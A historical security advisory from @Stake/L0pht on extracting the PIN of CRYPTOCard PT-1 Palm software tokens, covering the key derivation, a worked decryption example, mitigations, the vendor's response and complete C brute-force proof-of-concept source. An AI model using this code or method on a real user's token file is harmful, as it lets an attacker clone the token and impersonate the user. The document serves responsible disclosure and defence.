CRYPTOAdmin 4.1 server with PalmPilot PT-1 token 1.04 PIN Extract ion

                          @Stake Inc.
                      L0pht Research Labs
                www.atstake.com     www.L0pht.com


                       Security Advisory

Advisory Name: CRYPTOCard PalmToken PIN Extraction
Release Date: April 10, 2000
Application: CRYPTOAdmin 4.1 server with CRYPTOCard PT-1 token 1.04
Platform: Server software on any environment and token
software on Palm Computing Platform device,
any hardware, any OS
Severity: An attacker can determine the private PIN number
of a users token within a matter of minutes and
clone the challenge/response scheme of the
legitimate user.
Author: Kingpin [[email protected]]
Dildog [[email protected]]
Vendor Status: Vendor contacted - response and precautions are
shown below
Web: http://www.L0pht.com/advisories.html

Overview:

    CRYPTOCard's (http://www.cryptocard.com) CRYPTOAdmin software is a

user authentication administration system which uses various hardware and
software token devices for challenge/response. Using the user's PIN number
("what you know") and the token ("what you have"), the correct response
will be calculated based on the challenge prompted from the CRYPTOAdmin
server.

    The PT-1 token, which runs on a PalmOS device, generates the

one-time-password response. A PalmOS .PDB file is created by the
CRYPTOAdmin software for each user. The .PDB file is loaded onto the Palm
device. The user name, serial number, key, and PIN number are all stored
in this file in either encrypted or plaintext form. By gaining access to
the .PDB file, the legitimate user's PIN can be determined through a
series of DES decrypts-and-compares.

    Having both the .PDB and the PIN number will allow an attacker to

clone the token on another Palm device and generate the proper responses
given the challenge from the CRYPTOAdmin server. Using the demonstration
tool below, the PIN can be determined in under 5 minutes on a Pentium
III 450MHz.

Detailed Description:

    The PalmOS PT-1 application requires the user to enter their PIN

number before the challenge/response information is granted. If the
.PDB file of the legitimate users gets into the hands of an attacker,
they will easily be able to extract the legitimate PIN using the
demonstration tool below.

    The PalmOS platform is inherently insecure and was not designed

for security-related applications. Any application and database
information can be accessed and modified by any other application. In
the past, tokens used to generate one-time-passwords were often
tamper-evident hardware devices. These devices are difficult to
reverse-engineer and will sometimes erase critical information if
tampering is detected. The software token, such as the PT-1 Palm token,
allows the functionality of a previously secure device to be executed
on an insecure platform. Methods to determine program operation is much
easier in this fashion, making the software tokens less secure and
causing a weak link in the security chain.

    The .PDB file, containing the critical information, can be accessed

from either the user's desktop PC or Palm device. PalmOS HotSync often
stores a copy of the application, once sync'ed to the Palm, in the
/Palm/<user>/Backup directory. If a new .PDB file is pending for sync to
the Palm, it is stored in the /Palm/<user>/Install directory.

    If an attacker has temporary access to the user's Palm, they can

transfer the .PDB file to their own Palm device using the PalmOS "Beam"
functionality. CRYPTOCard intentionally prevents the beaming of their
database by setting the PalmOS lock bit, but using BeamCrack, a L0pht
Heavy Industries tool, the lock bit can be removed and the database
can be beamed.

    The information we need from the .PDB, which is an 8-byte

ciphertext string, is located from address $BD to $C4. Simply open the
.PDB file in a hex editor to extract the bytes.

    The DES key is generated based on the entered PIN number and a

fixed 4-byte value, $247E 3E6C. If the administrator issues PINs with
less than 8 digits, the PIN is padded up to 8 digits with 45678 (i.e.
if PIN is 9999, it will be padded to be 99995678) before the DES key is
generated.

    If the entered PIN is correct, the DES decrypt will output a

plaintext of $636A 2A3F 256D 676C. If the entered PIN is incorrect,
the plaintext output will be different, since the key used to decrypt
the information was incorrect.

    ciphertext from .PDB -> DES Decrypt -> plaintext known
                                        ^
                                        |
                    key = (entered PIN) w/ fixed value

    An example PIN authentication routine is as follows:

    1) Ciphertext from .PDB = $11FB 32C3 80EE 9318
    2) Entered PIN number * 9 = 26745678 * 9 = $0E58 F5BE
    3) Key = $0E58 F5BE 247E 3E6C
    4) DES decrypt -> plaintext = $636A 2A3F 256D 676C
    5) If plaintext = $636A 2A3F 256D 676C, PIN is good!

    By creating a key based on each possible 8-digit PIN, ranging

from 00000000 to 99999999, and performing decrypt-and-compare, the
PIN can be brute-forced in a trivial amount of time. On a Pentium III
450MHz running Windows NT 4.0, the 100,000,000 PIN attempts can be
completed in under 5 minutes.

Temporary Solution:

    The quick solution, although it does not remedy the core problem,

is to confirm that the .PDB file is not stored on the user's desktop
machine after it has been loaded onto the PalmOS device. A global find
for *.PDB will enable you to find all .PDB files on the user's machine.
It is highly recommended that extreme caution is taken to prevent
compromise of the .PDB files.

    Changing the PIN numbers on a daily or weekly basis is also

recommended.

    A longer term solution, especially if the PT-1 tokens are already

deployed, would be to move to a tamper-evident hardware token, such as
the CRYPTOCard RB-1 or KF-1 devices. These physical pieces of hardware
are much more secure, due to the fact that they are dedicated to one
function and it is more difficult to extract the PIN information from
the devices.

Vendor Response:

    CRYPTOCard Corporation and Tony Walker, VP of Development, were

extremely responsive to our advisory submission. Their friendliness,
quick response, and action plan is greatly appreciated and should be
commended. What follows is the exact response to our submission.

> Thanks for your message. I guess there are several points to be
> addressed.
>
> First, we are in complete agreement that any software based
> security is inherently breakable if you can get at the originating
> system. Your attack on our Palm Pilot token exploits this weakness.
> As you point out, the Palm Pilot platform is inherently insecure, as
> is any platform that permits third parties to write programs for it.
>
> However, there is a strong market demand for this type of device. We
> do point out to our customers that these tokens are inherently weaker
> than the hardware tokens but many customers choose to use them anyway
> because of the convenience they offer.
>
> As you are well aware, all security is a matter of cost – the cost
> of breaking it versus the value of the material obtained. It is up
> to the individual customer to evaluate the trade-offs and make this
> choice.
>
> If using such a token, there are several precautions that a customer
> should take:
>
> 1. Ensure that the PDB files are distributed securely. In
> particular: if your email system is not secure use another
> distribution method.
>
> 2. Once the PDB has been loaded into your Palm Pilot, don't leave
> the file around on your PC.
>
> 3. Most importantly, be very careful about the physical security of
> your Palm Pilot. Don't leave it where someone else might access it.
> Once an attacker has access to your Palm Pilot, perhaps only for a
> few minutes, the security of your token is compromised.
>
> The point about physical security cannot be overemphasized. Any
> security device must be physically secure at all times. In the case
> of a device such as a Palm Pilot, this means that the owner should
> not leave it unattended or loan it to a colleague. When the owner
> is not carrying it with him or her, it should be stored in a safe
> place.
>
> Having said all that, there are always ways to improve. The next
> release of the Palm Pilot token software will not store the PDB file
> in the Palm Pilot's database, and will use alphanumeric PINs to make
> a brute force attack more difficult. This will make the token
> somewhat more difficult to extract but, of course, still not proof
> against a determined attacker.
>
> We are also looking at ways to make the software tokens themselves
> more secure. However this is an inherently more difficult problem
> as we must assume that anything a software program can do is visible
> to an attacker.
>
> Regards,
>
> Tony

Proof-of-Concept Code:

    The demonstration tool, in form of an application, has been

written for both Unix and Windows PC platforms. Source code for Unix,
which uses Eric Young's libdes library, is below. The PC version can
be found at http://www.L0pht.com/~kingpin

<— cut here —>

#include<stdio.h>
#include<des.h>

int main(int argc, char **argv)
{
des_cblock in,out,key,valid = {0x63, 0x6A, 0x2A, 0x3F,
0x25, 0x6D, 0x67, 0x6C};
des_key_schedule sched;
unsigned long massaged;
FILE *pdb;

    if (argc == 1)
    {
            fprintf(stdout, "\nUsage: %s <.PDB filename>\n\n", argv[0]);
    return 1;
    }

    fprintf(stdout, "\nCRYPTOCard PT-1 PIN Extractor\n");
    fprintf(stdout, "[email protected]\n");
    fprintf(stdout, "@Stake L0pht Research Labs\n");
    fprintf(stdout, "http://www.atstake.com\n\n");

    if((pdb = fopen(argv[1], "rb")) == NULL)
    {
            fprintf(stderr, "Missing input file %s.\n\n", argv[1]);
            return 1;
    }

    fseek(pdb, 189L, SEEK_SET);
    if (fread(in, 1, 8, pdb) != 8)
    {
            fprintf(stderr, "Error getting ciphertext string.\n\n");
            return 1;
    }

    fclose(pdb);

    key[4] = 0x24;
    key[5] = 0x7E;
    key[6] = 0x3E;
    key[7] = 0x6C;

    for (massaged = 0; massaged < 900000000; massaged += 9)
    {
            key[0]=(massaged>>24) & 0xff;
            key[1]=(massaged>>16) & 0xff;
            key[2]=(massaged>>8) & 0xff;
            key[3]=(massaged) & 0xff;

            des_set_key(&key,sched);
            des_ecb_encrypt(&in,&out,sched,DES_DECRYPT);

            if (memcmp(out, valid, 8) == 0)
            {
                    fprintf(stdout, "\n\nPIN: %d", massaged/9);
            break;
            }

            if ((massaged % 900000) == 0)
            {
            fprintf(stdout, "#");
            fflush(stdout);
            }
    }

    fprintf(stdout, "\n\n");
    return 0;

}

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[email protected]

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